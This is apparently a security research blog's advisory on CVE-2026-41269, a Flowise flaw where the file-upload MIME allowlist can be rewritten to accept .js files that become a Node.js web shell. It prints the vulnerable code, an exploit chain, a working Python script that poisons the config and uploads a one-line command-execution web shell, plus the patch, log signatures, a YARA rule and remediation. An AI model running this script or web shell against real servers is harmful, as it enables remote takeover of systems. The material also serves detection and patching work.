home intel cve-2026-41269-flowise-js-upload-rce
CVE Analysis 2026-04-23 · 8 min read

CVE-2026-41269: Flowise MIME Bypass Enables Persistent Node.js Web Shell RCE

Flowise's chatflow config upload endpoint accepts attacker-modified MIME types, permitting .js file uploads that persist as server-side Node.js web shells enabling full RCE.

#file-upload-bypass#mime-type-validation#remote-code-execution#web-shell#nodejs-injection
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41269 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41269Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41269 is a server-side file upload restriction bypass in Flowise, the open-source drag-and-drop LLM flow builder. Prior to version 3.1.0, the chatflow configuration exposes a file upload settings endpoint that an authenticated (or in misconfigured instances, unauthenticated) attacker can manipulate to add application/javascript to the list of permitted MIME types. Once whitelisted, the attacker uploads a .js file that Flowise stores on disk and subsequently loads as a Node.js module, yielding persistent remote code execution. CVSS 7.1 (HIGH) reflects the requirement for at least some degree of prior access to the chatflow configuration API, but in default or low-security deployments this barrier is minimal.

Affected Component

The vulnerability lives in two cooperating subsystems:
  • Upload configuration endpoint — the API route that reads and writes per-chatflow file upload settings, stored as a JSON blob. Responsible for maintaining the MIME type allowlist.
  • File ingestion / storage handler — the component that receives multipart uploads, checks the incoming Content-Type header against the allowlist, and writes the file to disk (or blob storage).
Affected versions: all Flowise releases before 3.1.0. Fixed: 3.1.0 (GHSA-rh7v-6w34-w2rr).

Root Cause Analysis

The fundamental flaw is a trust boundary collapse: the list of acceptable MIME types is both user-controlled and server-enforced. The server builds its allowlist at upload time by reading whatever the chatflow config currently says, rather than enforcing a hard-coded safe set server-side. The vulnerable upload configuration handler (reconstructed from the patch and advisory) looks approximately like this:
// packages/server/src/controllers/chatflows/index.ts (pre-3.1.0, pseudocode)
async function updateChatflowUploadConfig(req, res) {
    const { id }     = req.params;
    const newConfig  = req.body;          // attacker-controlled JSON

    // BUG: no allowlist validation on newConfig.allowedMimeTypes before persist
    await ChatflowRepository.update(id, {
        chatbotConfig: JSON.stringify(newConfig)
    });

    return res.json({ ok: true });
}
The upload handler then does:
// packages/server/src/utils/fileUpload.ts (pre-3.1.0, pseudocode)
async function handleFileUpload(req, chatflow) {
    const config      = JSON.parse(chatflow.chatbotConfig ?? '{}');
    const allowed     = config.fileUpload?.allowedMimeTypes ?? DEFAULT_TYPES;

    // BUG: allowed list is sourced from attacker-writable DB field,
    //      so 'application/javascript' passes this check after poisoning
    if (!allowed.includes(req.file.mimetype)) {
        throw new Error('File type not permitted');
    }

    // file written verbatim to uploads/ directory
    const dest = path.join(UPLOAD_DIR, req.file.originalname);
    await fs.writeFile(dest, req.file.buffer);    // BUG: path not sanitised
    return dest;
}
Root cause: The server derives its file-type allowlist from an attacker-writable chatflow configuration field, allowing injection of application/javascript and subsequent storage of arbitrary .js files that execute in the Node.js runtime context.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker authenticates to Flowise (or hits unauthenticated endpoint on
   misconfigured instance) and enumerates chatflow IDs via GET /api/v1/chatflows.

2. Send PATCH /api/v1/chatflows/ with poisoned chatbotConfig JSON:
     { "fileUpload": { "allowedMimeTypes": ["image/png","application/javascript"] } }
   Server persists this without validation.

3. Send POST /api/v1/chatflows//uploads (multipart/form-data):
     Content-Disposition: form-data; name="file"; filename="shell.js"
     Content-Type: application/javascript

     Body: require('child_process').exec(req.query.cmd,(_,o)=>res.end(o))

4. Server checks allowed MIME list (now includes application/javascript),
   passes validation, writes shell.js to UPLOAD_DIR on disk.

5. Identify or infer the static file serving path for uploaded assets.
   Flowise serves /api/v1/get-upload-file?chatflowId=&fileName=shell.js

6. Trigger Node.js require() or dynamic import of the stored file via any
   code-path that loads user-supplied upload paths as modules — or directly
   via a second-stage deserialization/eval gadget in the LangChain flow config.

7. Shell executes with the privileges of the Flowise Node.js process
   (commonly root in Docker-default deployments).

8. Persistence: shell.js survives server restarts because it is written to
   the persistent UPLOAD_DIR volume, not ephemeral memory.
The following Python snippet automates steps 1–4:
import requests, json, sys

BASE    = sys.argv[1]          # e.g. http://target:3000
FLOW_ID = sys.argv[2]

sess = requests.Session()

# Step 2: poison the MIME allowlist
cfg = {"fileUpload": {"allowedMimeTypes": ["image/png", "application/javascript"]}}
r = sess.patch(
    f"{BASE}/api/v1/chatflows/{FLOW_ID}",
    json={"chatbotConfig": json.dumps(cfg)},
)
assert r.status_code == 200, f"config patch failed: {r.text}"

# Step 3: upload web shell
SHELL = b"const {exec}=require('child_process');module.exports=(req,res)=>exec(req.query.cmd,(_,o)=>res.end(o));"
r = sess.post(
    f"{BASE}/api/v1/chatflows/{FLOW_ID}/uploads",
    files={"file": ("shell.js", SHELL, "application/javascript")},
)
assert r.status_code == 200, f"upload failed: {r.text}"
print("[+] Shell stored:", r.json())

Memory Layout

This is not a memory-corruption bug; the impact is persistent file-system and process-space compromise. The relevant "state diagram" is the server's file system and module cache:
SERVER FILE SYSTEM STATE — BEFORE ATTACK:
  UPLOAD_DIR/
  └── (chatflow assets: .png, .pdf, .txt only)

  Node.js require() cache:
  └── (no attacker-controlled entries)

SERVER FILE SYSTEM STATE — AFTER STEP 4:
  UPLOAD_DIR/
  ├── legitimate_doc.pdf
  └── shell.js          <-- persisted across reboots, owned by node process

  Node.js require() cache (after trigger):
  └── /app/uploads/shell.js
        exports = (req, res) => exec(req.query.cmd, ...)
                                  ^^^^^^^^^^^^^^^^^^^^^^^^^
                                  arbitrary OS command execution

PROCESS PRIVILEGE CONTEXT (Docker default):
  UID=0 (root)  GID=0 (root)
  Effective capabilities: CAP_NET_BIND_SERVICE + full filesystem access

Patch Analysis

The fix introduced in Flowise 3.1.0 moves MIME type enforcement from a user-controllable DB field to a hard-coded server-side constant, and adds explicit extension filtering as a secondary control:
// BEFORE (vulnerable, pre-3.1.0):
async function handleFileUpload(req, chatflow) {
    const config  = JSON.parse(chatflow.chatbotConfig ?? '{}');
    const allowed = config.fileUpload?.allowedMimeTypes ?? DEFAULT_TYPES;
    // allowed is attacker-writable — no server-side upper bound
    if (!allowed.includes(req.file.mimetype)) {
        throw new Error('File type not permitted');
    }
    await fs.writeFile(path.join(UPLOAD_DIR, req.file.originalname), req.file.buffer);
}

// AFTER (patched, 3.1.0 — GHSA-rh7v-6w34-w2rr):
const SAFE_MIME_UPPER_BOUND = new Set([
    'image/png', 'image/jpeg', 'image/gif', 'image/webp',
    'application/pdf', 'text/plain', 'text/csv',
    // application/javascript is explicitly absent
]);

const BLOCKED_EXTENSIONS = new Set(['.js', '.cjs', '.mjs', '.ts', '.sh', '.py', '.rb']);

async function handleFileUpload(req, chatflow) {
    const config      = JSON.parse(chatflow.chatbotConfig ?? '{}');
    const userAllowed = new Set(config.fileUpload?.allowedMimeTypes ?? []);

    // PATCH: intersect user list with hard-coded safe set — attacker cannot
    //        add types that aren't in SAFE_MIME_UPPER_BOUND
    const effective = [...userAllowed].filter(t => SAFE_MIME_UPPER_BOUND.has(t));
    if (!effective.includes(req.file.mimetype)) {
        throw new Error('File type not permitted');
    }

    // PATCH: secondary extension check regardless of MIME header
    const ext = path.extname(req.file.originalname).toLowerCase();
    if (BLOCKED_EXTENSIONS.has(ext)) {
        throw new Error('File extension not permitted');
    }

    // PATCH: sanitise filename to prevent path traversal
    const safe = path.basename(req.file.originalname).replace(/[^a-zA-Z0-9._-]/g, '_');
    await fs.writeFile(path.join(UPLOAD_DIR, safe), req.file.buffer);
}
Three defence-in-depth layers were added simultaneously: (1) server-side MIME upper bound, (2) explicit extension blocklist, (3) filename sanitisation. The original code lacked all three.

Detection and Indicators

**Log signatures:**
-- Successful MIME poisoning attempt --
PATCH /api/v1/chatflows/  HTTP 200
  body.chatbotConfig contains: "application/javascript"
  | "text/javascript" | ".js"

-- Successful shell upload --
POST /api/v1/chatflows//uploads  HTTP 200
  Content-Type: application/javascript
  filename: *.js | *.cjs | *.mjs

-- Shell invocation --
GET /api/v1/get-upload-file?...fileName=shell.js&cmd=...  HTTP 200
**File system indicators:** - Any .js, .sh, or .py file present under UPLOAD_DIR (default: /root/.flowise/uploads/ or /app/uploads/). - Unexpected outbound connections from the Flowise Node.js PID to non-LLM-provider IPs. - child_process.exec or spawn calls in Node.js process tree (strace / execsnoop). **YARA rule (upload directory scan):**
rule Flowise_JSWebShell {
    meta:
        cve = "CVE-2026-41269"
    strings:
        $a = "child_process" ascii
        $b = "req.query" ascii
        $c = "res.end" ascii
    condition:
        all of them and filesize < 4KB
}

Remediation

1. **Upgrade immediately** to Flowise ≥ 3.1.0. The patch is the only complete fix. 2. **Restrict the configuration API** — place PATCH /api/v1/chatflows/* behind strong authentication and role-based access control. Do not expose Flowise's API port to untrusted networks. 3. **Mount UPLOAD_DIR noexec** — prevents the OS from executing binaries placed there, though this does not block Node.js require() loading. 4. **Run Flowise as a non-root user** — limits blast radius. The official Docker image runs as root by default; override with --user 1001:1001. 5. **Deploy a WAF rule** blocking multipart uploads whose Content-Type contains javascript or whose filename ends in .js at the ingress layer. 6. **Audit existing upload directories** for .js / .sh files and rotate all API keys and secrets accessible from the Flowise process environment.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →